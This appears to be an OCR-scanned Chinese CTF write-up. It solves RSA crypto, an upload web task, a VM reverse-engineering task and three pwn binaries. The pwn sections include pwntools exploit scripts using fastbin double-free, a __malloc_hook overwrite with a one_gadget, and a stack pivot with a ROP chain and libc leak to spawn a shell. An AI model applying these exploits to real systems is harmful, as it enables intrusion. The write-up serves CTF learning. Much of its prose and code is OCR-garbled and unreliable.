iIHFK2020FF A WP

KM CGERETF) T 2020-02-24 17:02:13 KA ™ 806 ©% Wi 1
SRER: BY
RRBUE B ASCATEEIRGISCE, #08.CC 4.0 BY-SA R, #8IFM B IRSCH A B A7 B

A EEHE: https://blog.csdn.net/qq_41252520/article/details/104480564
R

E,ﬁﬂé‘—” SN AL AL

30 F3CE 0T
BB

XEHF

Crypto
0x0 easyRsa

0x1 Easy_Rsa

web

0x0 ezupload

Reverse
0x0 EasyVM
pwn

0x0 Some_thing_exceting
0x1 Some_thing_interesting
0x2 BorrowStack

o gk

==

Crypto

0x0 easyRsa


https://blog.csdn.net/qq_41252520
https://blog.csdn.net/qq_41252520/category_9376732.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41252520/article/details/104480564
https://blog.csdn.net/qq_41252520/category_9376732.html

275609599183856164194862730095945134600443164763378425854635531057018695316983663046376780086027990051816013
1081693539400304193044550980119655489778152996261634944213603995191176462099911691574192424578898833276618230563|
5804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930
5049258128332020471831664230432648159058534860532553103460304166874307242041774681767625125660551657981724186222,
6875196879399767639117077321629160775288598793386616315825733652256708622809286330268549388883986655962242968592
5525799985062044536032584132602747754107800116960090941957657

464857

190529
cl 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067
2876332955770360421583023749487267493485185630382663738268719509047336910465953879557033058467285309878850759104]
9036245320259865432694722439271857389324117512328556900851956874515344934496651363658529077012705527344296268946
2195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767
4185763161709761109911289338866394027712949978110259425444552555890812802445459013946818664212230664224846543012
98662143648389546410087950190562132305368935595374543145047531
c2 = 92062609350662578291213889536652573304627332927866443743222188355801148598662068246795534444064579191077490
7408755427754234582021543964677068040366956047446236940064186581092233202362069921021147420802080138628506869828
0364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834
2123367818218101150041153244700139990924623104142579903107815340568073932061554603714548362304105451710685060441]
7400117292261480513526067052485213918737033549287609405986057679483970497898850714797210941103337774944682137419
5721696073748745825273557964015532261000826958288349348269664

R BRI, HE WA,

import gmpy2

n 275609599183856164194862730095945134600443164763378425854635531057018695316983663046376780086027990051816013
1081693539400304193044550980119655489778152996261634944213603995191176462099911691574192424578898833276618230563
5804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930
5049258128332020471831664230432648159058534860532553103460304166874307242041774681767625125660551657981724186222
6875196879399767639117077321629160775288598793386616315825733652256708622809286330268549388883986655962242968592
5525799985062044536032584132602747754107800116960090941957657

el 464857

e2 1906529

cl 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067
2876332955770360421583023749487267493485185630382663738268719509047336910465953879557033058467285309878850759104
9036245320259865432694722439271857389324117512328556900851956874515344934496651363658529077012705527344296268946
2195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767
4185763161709761109911289338866394027712949978110259425444552555890812802445459013946818664212230664224846543012
98662143648389546410087950190562132305368935595374543145047531

c2 92062609350662578291213889536652573304627332927866443743222188355801148598662068246795534444064579191077490,
7408755427754234582021543964677068040366956047446236940064186581092233202362069921021147420802080138628506869828
©364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834
2123367818218101150041153244700139990924623104142579903107815340568073932061554603714548362304105451710685060441
7400117292261480513526067052485213918737033549287609405986057679483970497898850714797210941103337774944682137419
5721696073748745825273557964015532261000826958288349348269664

sl, s2 = gmpy2.gcdext(el, e2)

gmpy2.invert(cl, n)

gmpy2.invert(c2, n)
m = gmpy2.powmod(cl, sl1, n)*gmpy2.powmod(c2, s2, n)
print( L))

0x1 Easy_Rsa




from Crypto.Util.number import
from secret import FLAG,BIT
def genkey(bit):
while True:
p = getPrime(bit)
q (2 bit 1) p + 65537
if isPrime(q):

return p, q

P, g genkey (BIT)
m bytes_to_long(flag)

e 65537

n p*q
(m,e,n)

ALEBqEpZ AIFAEEREKFR: q=F§=(2"bit-1)"p+65537 1R B R KB HEES MR ITERBE L. 9, SRENER
TIRABMRE K. XFBEREAET, TRERAT (2°bit-1D ~p KR AL TR plE— A &R E1.

A F§AT AR Rk q=F§=p-a+65537,a=int(“1**bit,2), XL CHEN—5, HILRBAER:
e ph_i=(p-1)*(q-1)=n-p-q+1=n-(a-65537)+1

KBp. g T, HELRUAHS BB RS K& KiET~

AR BER T Ka, HHRZMEDIREZ D>, FARBEEENESBRDBA LN, FHHERBDItEDR 1024, {HR2 LR HER
HARFEHREK, TRR T bit=? WANEERRAENN—2, &RfEHAER Thit=1024, XFFHLEEE, R8T K.



from gmpy2 import

N=7772032347449135823378220332275440993540311268448333999104955932478564127911903406653058819764738253486720
3978796727643886940007714058199570578639504538513644519245176975479376663684082179114726554605522291944170536140
3270068461824453589238840816378923372923532242706065903712772229612691493481106289069344533357923129841167017724]
6830067908917781430587062195304269374876255855264856219488896495236456732142288991759222315207358866038667591630
9021419007159544625300278965286841474589952662390390548958591499459686203539333414150870639966510376817527092244
86183823035542105003329794626718013206267196812545606103321821

C=2082303370386500999739407038433364384531268495285382462393864784029350314174833975697290115374382446746560
9361952421082835584100239986319743924377609206815536073388591570191785652940557557877569200031025065793351031696
2954641043949757020155456826607442178104742068717353044146929997628628170952630766121992566708281229432834329883
6241624597491473793807687939912877432920934022304415340311930199467500833755390490763679081685821950332292303679
2234448168320009459727444929440449121682177651561100584749748873723880322869689360520105318506873613283267417074
41938740295431353926037925950161386891437897990887861853097318

a ( 1024,2)
phi=n+1+a-65537
d=invert(e,phi)

m (c,d,n)

print m

I RIRARZXECLBE T flag, EHREEER —TWMRKEP. q.

HRiRfIE&5Er2Ze. dv n. c. H

ed = 1 mod (phi)<

e

ed = kphi + 1«
&l

ed=k(n—p—q+1)+1¢
= |

p+q:n—mi—_1+1<'

1

'
(A%



BAERANFIE T p*q, p+q, ATLABRAER|—J0 RGN FE

x> —(p + @)x + 4pq = 0¢
pPq = 1<

A SRAR 2 At 7] LAAS 2

@ +q)+/(p+q?*—4n
2

®+q)—(p+q?—4n

q: 2

ME—HEFER KRBT, KASMRART MBI,
Pt LA % 5 B4 -

from gmpy2 import

def Calc_pq(n,e,d):
for k in (1,65537):
b=n-(e*d-1)/k+1
p=(b+iroot(b*b-4*n,2)[0])/2
g=(b-iroot(b*b-4*n,2)[0])/2
if p*g==n:

return p,q

N=7772032347449135823378220332275440993540311268448333999104955932478564127911903406653058819764738253486720
39787967276438869400077140581995705786395045385136445192451769754793766636840821791147265546055222919441705361409
3270068461824453589238840816378923372923532242706065903712772229612691493481106289069344533357923129841167017724
6830067908917781430587062195304269374876255855264856219488896495236456732142288991759222315207358866038667591630
9021419007159544625300278965286841474589952662390390548958591499459686203539333414150870639966510376817527092244
86183823035542105003329794626718013206267196812545606103321821

€=2082303370386500999739407038433364384531268495285382462393864784029350314174833975697290115374382446746560
9361952421082835584100239986319743924377609206815536073388591570191785652940557557877569200031025065793351031696
2954641043949757020155456826607442178104742068717353044146929997628628170952630766121992566708281229432834329883
6241624597491473793807687939912877432920934022304415340311930199467500833755390490763679081685821950332292303679
2234448168320009459727444929440449121682177651561100584749748873723880322869689360520105318506873613283267417074
41938740295431353926037925950161386891437897990887861853097318

e=65537

a ( 1024,2)

phi=n-(a-65537)+1

d=invert(e,phi)

print Calc_pq(n,e,d)

LS E]:



p=10741232545229146835306765388702379812355568101414969500798810801735298391910674244463636695984812251071804112
4968495133155443915536044076418984388182044433014456411947595840123976437599315702250407343581123649598689543618
730325019990273144652595572758995427067321783042271614826842736317563717605507947980729

0=72356988033940122419862865191878675238242016880080962265441973140379691886394220688072110362559413510402072754
9028982245033458532783725460738630424574296913633114814772696451523257820019303918690457393709613561701486070636
12137861483639965888231664404355083617264515197675631111636979987271638724116276090949

o FAMRMUE M ERSEEE M. o .

web
[A15]: webKFATIEHEMEKIBEL, BrLlX K LS KIwebB R i 7 —&.
0x0 ezupload

REBRAHAEWESL, X4 EERE—mRE, FUSBURZAHEBHERT . REEELETRY, FRE—K. REERE
x T~ RIiflagfireadflag, flagZd&i&E TR, BEZIEDTH, MH—AreadflagX & EMnRT, EiTreadflagiifsE
flag T o

Reverse

[BiE]: URTZERMAFEET, RENTRARENERIELER, BRERED, FUSRITILRBReMZMSE. Xk
PR M EF FET_T.

0x0 EasyVM

int _ cdecl main(int argc, const char **argv, const char **envp)
{
puts("Welcome to the game,have a good time!™);
_ is0c99_scanf("%s", input);
operate();
if ( !stromp(input, flag) )
puts("0Orz you are so good!™);
else
puts("No MNo Ne !'");
return 8;
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1| inte4 operate()
2t
3 inted v@; // rax
4| _ ints4 result; // rax
5| int w23 // [rsp+Ch] [rbp-4h]
7| w2 = e;
8| while ( 1)
9 1
1@ ~esult = opcode[v2];
11 if ( ( DWORD)result == 255 )
12 return result;
%3 8 = opcode[ .%'I,' : EEZD;&/\*&%
14 switch (|{unsigned int)off S55DEAF762C28|) .o —-p= L =n 5
15 { =, WF LRV
16 case lu:
17 mov(opcode[v2 + 1], opcode[v2 + 2]);
18 /2 += 3;
19 break;
28 case 2u:
21 xor(opcode[v2 + 1], opcode[v2 + 2]);
22 /2 += 3;
23 break;
24 case 3u:
25 add(opcode[v2 + 1], opcode[v2 + 2]);
26 /2 4= 3;
27 break;
28 case 4u:
29 sub(opcode[v2 + 1], opcode[v2 + 2]);
30 /2 4= 3;
31 break;
32 case 5u:
33 inc(opcode[v2 + 1]);
34 /2 4= 2
35 break;
36 case bu:
37 dec(opcode[v2 + 1]);
38 /2 4= 2
39 break;
48 default:
41 cantinue;
42 1
43| }
44|}

XRBNMEF M EERE, G0 TXMREEN, FS5EE0VM, RAZRBE[MMENENRERREEHAagT .
TR, REMESA, nbiEs s ok

#include
#include
unsigned char opcode[]={1, 1, 101, 1, 102, 1, 1, 101, 2, 2, 101, 102, 5, 101, 5, 101, 1, 2,101, 2, 3, 0, 2,
2,5, 4, 4, 4, 215, 1, 102, 5, 1, 101, 230, 4, 102,101, 1, 5, 102, 6, 6, 6, 6, 1, 101, @, 2, 7, 101, 3, 8, 23
, 9, 210,1, 101, 10, 1, 102, 9, 3, 101, 102, 1, 10, 101, 6, 11, 5, 11, 6, 12,3, 12, 12, 1, 101, 13, 1, 102,
3, 102, 101, 1, 14, 102, 3, 101,102, 1, 13, 101, 1, 101, 15, 1, 102, 16, 3, 102, 101, 1, 16, 102, 4,102, 101
, 1, 15, 102, 6, 17, 6, 17, 4, 18, 240, 4, 18, 240, 255, 0};
uchar input[128]
uchar re=0,rl1=0;

uchar *GetPoint(uchar al){
if ( a1l ox65 )
{
printf( )
return &ro;
)i

if ( al == Ox66 )
{

printf( );

return &rl;

printf




return &input[al];

}

void Mov(uchar al,uchar a2){

uchar *result;
uchar v3;
uchar *v4;

v4 = GetPoint(al);

if ( a2 199 )

{
printf( );
v3 GetPoint(a2);
result va;
printf( );
\Z3 v3;

)i

else

{
printf(
result va;
\VZ3 a2 56;

void Xor(uchar al,uchar a2){
uchar *result;
uchar v3;

uchar *v4;

v4 = GetPoint(al);
if ( a2 199 )
{
printf( );
v3 GetPoint(a2) v4;
result v4;
printf( )
\Z v3;

void Add(uchar al,uchar a2){
uchar *result;
uchar v3;

uchar *v4;

v4 = GetPoint(al);
if ( a2 199 )
{
printf( );
e GetPoint(a2)




printf
result v4;
v4 Vv3;
b
else
{
printf(
result v4;
v4 a2 56;

void Sub(uchar al,uchar a2){

uchar *result;
uchar v3;
uchar *v4;

v4 = GetPoint(al);
if ( a2 199 )
{
printf( )
v3 v4-*GetPoint(a2);
printf( )
result v4;
\VZ3 v3;

printf(
result v4;
v4 a2 56;

void Inc(uchar al){
uchar *result;

printf( );

result = GetPoint(al);
printf( );

result;

void Dec(uchar al)

{

uchar *result;

result = GetPoint(al);
printf( )

result;

int main(){

int i,v2=0;
uchar result=0;
while(1){
result=opcode[v2];
if ( result oxff )break;
i=opcode[v2];
switch(i){




v2+=3;
break;
2:Xor (opcode[v2 1], opcode[v2
v2+=3;
break;
: Add(opcode[v2 1], opcode[v2
v2 3;
break;
4:Sub(opcode[v2 1], opcode[v2
v2 3;
break;
5:Inc(opcode[v2 + 1]);
v2 2;
break;
: Dec(opcode[v2 + 1]);
Y 2%
break;
default:

continue;

REAERELT



input[3]7=input[0]
input[3]7=input[2]
++*input[4]
input[4]-=215-56

input[7]~=ro
[8]+=230+56
input[9]-=210-56
re=input[10]
rl=input[9]

input[10
input[11

ro

%

++*input

1=
1-
[
input[12]-
1
[
[

11]
_%

1nput[12 +=input[12]

13]

14]

input[18]-=240-56
input[18]-=240-56




input[@]=input[0]~((220+56)&0xFff) 102
input[1]=input[1]+input[0] 108
input[2]=(input[1]*input[2])+2 97
input[3]=input[3]*input[2]*input[0]
input[4]=input[4]+1-215-56
input[5]=input[5]+230+56
input[6]=input[6]-2
input[7]=input[7]*input[0]
input[8]=input[8]+230+56
input[9]=input[9]-210-56
input[10]=input[10]+input[9]
input[11]=input[11]
input[12]=input[12]-1+input[12]
input[14]=input[13]+input[14]
input[13]=input[13]+input[14]
input[16]=input[15]+input[16]
input[15]=input[15]+input[16]
input[17]=input[17]-2
input[18]=input[18]-2*(240+56)

RIERIEIL T UG HRK, 7 USRI 45 iinputi2
114,222,193,212,109,88,107,45,135,105,200,110,220,71,211,97,198,113,41
AR WA HAG B IEF N «

flag{vm_is_no**easy}, HA*FRKHA. FANMARNGH, BHRNMTARKER, HSRMARHBRBEEIT, BT, EFfag
% flag{vm_is_not_easy}

I R&]: ASITTEM R A ST, XRANBRARKTTE, EREFBBIENZCR, BE LLRNHERRNFF SHTHRS
FERT, AHREBRT, FRWUSFRE G55

pwn

(A 5]: XREpwnS HALRRBRE, LTMHBHENEET!

0x0 Some_thing_exceting

BFA S EANRIE, BAKNRAE, ERBEIRIEIFREERIEM.

FERIRAE R, AR ALk



2

'3 ptr[i] = (Banana *)malloc(@xl@ulLLl);

4| printf("> ba's length : ™);

'5| _isoc99_scanf("%d", &nbytes);

15| if { (signed int)nbytes <= @ || (signed int)nbytes > @x78 )

'8 puts (" Emmmmmm!Maybe you want Fool me!™);

'9 bye();

w1

11| buf = malloc({signed int)nbytes);

12| printf("> ba : ", &nbytes);

i3 ved = buf;

4| read(@, buf, {unsigned int)nbytes);

15| printf("> na's length : ", v@); B
15| [FIZ0CYT ECanTl =0 , lona ﬁn-_.-.:; TE _;XE%—EL}&'UEIL)\‘&ﬁ, B
37| §if ( SHIDWORD(nbytes) <= @ SHIDWORD(nbytez) » 8x7@ )| H= A
il R (nbytes) (nbytes) To2 7 F i
] puts (" Emmmmmm!Maybe you want Fool me!™);

12 bye();

F2| printf("> na : ", (char *)&nbytes + 4);

13| w5 = malloc(SHIDWORD(nbytes));

14| [read(@, 5, HIDWORD(nbytes)); | |

13| PUrLIl-rod = Long JOuT S

6| ptr[i]-»na = {char *)}v5;

b7 puts("#-------------mmmo - #°);

FE IR M BRI 2

18| printf(": Banana ID : ");

11 irocad pE AT By,

12 Jif (vi <@ || vi> 1@ || !ptrvi] )

13| ke

14 puts (" Emmmmmm!Maybe you want Fool me!™);
15 bye();

16| 1

17| free(ptr[vl]->ba); double free
18|] free(ptr[vi]->na); T o
19| free(ptr[vl]);

TP EF #');

21| puts("# ALL Down! #');

27 BT .




WG EERF BRE—NF B BRI

unsigned _ int64 read_flag()

1
21

3| FILE *stream; // [rsp+@h] [rbp-18h]

4| unsigned _ int64 v2; // [rsp+8h] [rbp-8h]
5

B

7

8

v2 = _ readfsqword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, @LL);

9| stream = fopen("/flag”, "r");
18| if ( !stream )

11

12 puts (" Emmmmmm!Maybe you want Fool me!™);
13 exit(@);

14| 1}

15 I byte 682848 = Bx68; I
16| fgets(flag, 45, stream);
17| return _ readfsqword(@x28u) ~ v2;

18[}

.bss:PRERARARRRGE2RAR byte 682848 db ? ; DATA XREF: read_flag+59Tw
.bss:0000000000602041 align 8

.bss:0000000000602048 ; char flag[64]

.bss:0000000000602008 Tlag db 42h dup(?) ; DATA XREF: read flagt+eCto

.bss5:0000000000602048 _bss ends

RBRAIEA A 7 SR B SR 1EIRATF F fastbin attack 15 2lflaghiigst, REFI BB R AL ITEI Hiflag T -

[exp]:



from pwn import

p=remote( ,6484)

def Add(ba_size,ba_dat,na_size,na_dat):
p.sendlineafter( 5 )

sendlineafter( 5 (ba_size))

sendlineafter( ,ba_dat)

sendlineafter( 5 (na_size))

P.
P.
P.
pP.

sendlineafter( ,ha_dat)
Del(idx):

p.sendlineafter(
p.sendlineafter(

Show(idx):

p.sendlineafter(

p.sendlineafter(

f1ag=0x00000000006020A8

Add(0x50, 8,0x50, )
Add(0x50, 8,0x50, )
Add(0x50, 8,0x50, )

Del(@)

Del(1)

Del(@)

Add (0x50, p64(0x602098) ,0x50, p64 (0x602098) )
Add(ex5e, ' ',0x50, "' ")

Add(0x50, ' ',0x20," ")

Show(5)

p.interactive()

0x1 Some_thing_interesting
(R3]

Arch: amde4-64-1ittle
RELRO:
Stack:

NX:
PIE:

BEME—EZRE, RATXKEEgetshelfR )5 flag.
XK mEEETURT, ®EEiT fastbin attack /&2 mallock_hook Jyonegadget.
XA e A F AT ER IR, 7T BLR SRt BB libet ik .

[exp]:



from pwn import

if False:
p=process(
libc=ELF( ,checksec=False)
elf=p.elf
else:
p=remote(
libc=ELF( ,checksec=False)

Login(s):

p.sendafter( ,S)
Add(os_1,0s_s,re_l,re_s):
p.sendlineafter( 5
p.sendlineafter(
p.sendafter( ,0S_S)
p.sendlineafter(
p.sendafter( ,re_s)
Edit(idx,0s_s,re_s):
p.sendlineafter( )
p.sendlineafter( 5 (idx))
p.sendafter( ,0S5_S)
p.sendafter( ,re_s)
Del(idx):

p.sendlineafter(
p.sendlineafter(

Show(idx):

p.sendlineafter(
p.sendlineafter(

Leack():
p.sendlineafter(

Login(
Leack()

p.recvuntil(
libc_base (p.recvuntil( )[:-1],16)-1libc.sym[
info( (libc_base))

malloc_hook=1ibc.sym[ ]+1libc_base
info( (malloc_hook))

Add (0x60, 8 ,0X60,

Add(0x60, 8,0x60, 8)

Del(1)

Del(2)
Edit(1,p64(malloc_hook-0x1b-8),p64(malloc_hook-0x1b-8))
Add (0x60, ,0X60, )

Add (0x60, ,0X60, )

one=0xf1147+1ibc_base
pay 0x13+p64(one)
Edit(4,pay,pay)
p.interactive()




o FIGATIHIRE & HIlibchR A MIBTIAF K —FERT, BUAH HklibeT .

0x2 BorrowStack

[PR37]:

Arch: amd64-64-1ittle
RELRO:
Stack:

NX:
PIE:

FEZAD:

1fint __cdecl main(int argc, const char **argv, const char **envp)

{
char buf; // [rsp+8h] [rbp-68h]

IO NI ]

setbuf(stdin, @LL);

setbuf(stdout, @LL);

puts(&s);

read(@, &buf, 8x78ulLLl);

puts("Done!You can check and use your borrow stack now!");
read(@, &bank, @x186ulLLl);

11| return &;

Woca sl Mo

[ex]

AT LA OX10F%, A5 HBSSEHEAOX100MFEH ##E. R BXENE s AR THEBSSE L, @EidEBSSER Ligit
ROP chainkgetshell.

HRENWIIT, B—REBERAEY, REHEIbcHTE:

# HRITH ZEBSS
pay="a'*0x60+p64(new_stack+0x80)+p64(read addr)#+p64(main)
p.sendafter('want\n',pay)

# T Libc T
pay="\0"'*0x88+p64(pop rdi)+p64( libc_ start main_got)+p64(puts plt)
pay+=p64(pop_rbp)+p64(new_stack+0x30)+p64(read_addr)+p64(0xdeadbeef)*2

p.sendlineafter('now!\n"',pay)

p.sendline("\n\n")

p.sendlineafter( 'now!\n',"'\n")

B, ¥IREHNE R B Bonegadget, getshell.

ay="'a'*0x38+p64(one_gad+libc_base)+'\0'*0x20

p.send(pay)
p.sendlineafter('now!\n"',pay)

[exp]:



from pwn import

p=remote(
elf=ELF(
libc=ELF(

,3635)

pop_rdi=0x0000000000400703
pop_rsi=0x0000000000400701
leave=0x400699
pop_rbp=0x0000000000400590
read_addr=0x400660
one_gad=0xf02a4

puts plt=elf.plt[ ]
_libc_start_main_got=elf.got[
main=0x400626
new_stack=0x0000000000601080

,checksec=False)

,checksec=False)

pay 0x60+p64 (new_stack+0x80)+p64(read_addr)

p.sendafter( ,pay)

pay 0x88+p64(pop_rdi)+p64(_libc_start_main_got)+p64(puts_plt)
pay+=p64(pop_rbp)+p64(new_stack+0x30)+p64(read_addr)+p64(0xdeadbeef)*2

p.sendlineafter( ,pay)
p.sendline(
p.sendlineafter(

libc_base=u6b4(p.recv(6)[:].1just(8,
info( (libc_base+one_gad))
pay 0x38+p64(one_gad+libc_base)

p.send(pay)
p.sendlineafter( ,pay)

p.interactive()

))-libc.sym[

MEE]: BRIEEBSS+offsetoffsetEMM AR — K, BINFEOXBOKH A b, FHME —REEHT!

M 4t

A= |

RRERERAE T HHP, EOARMEEIERKKT
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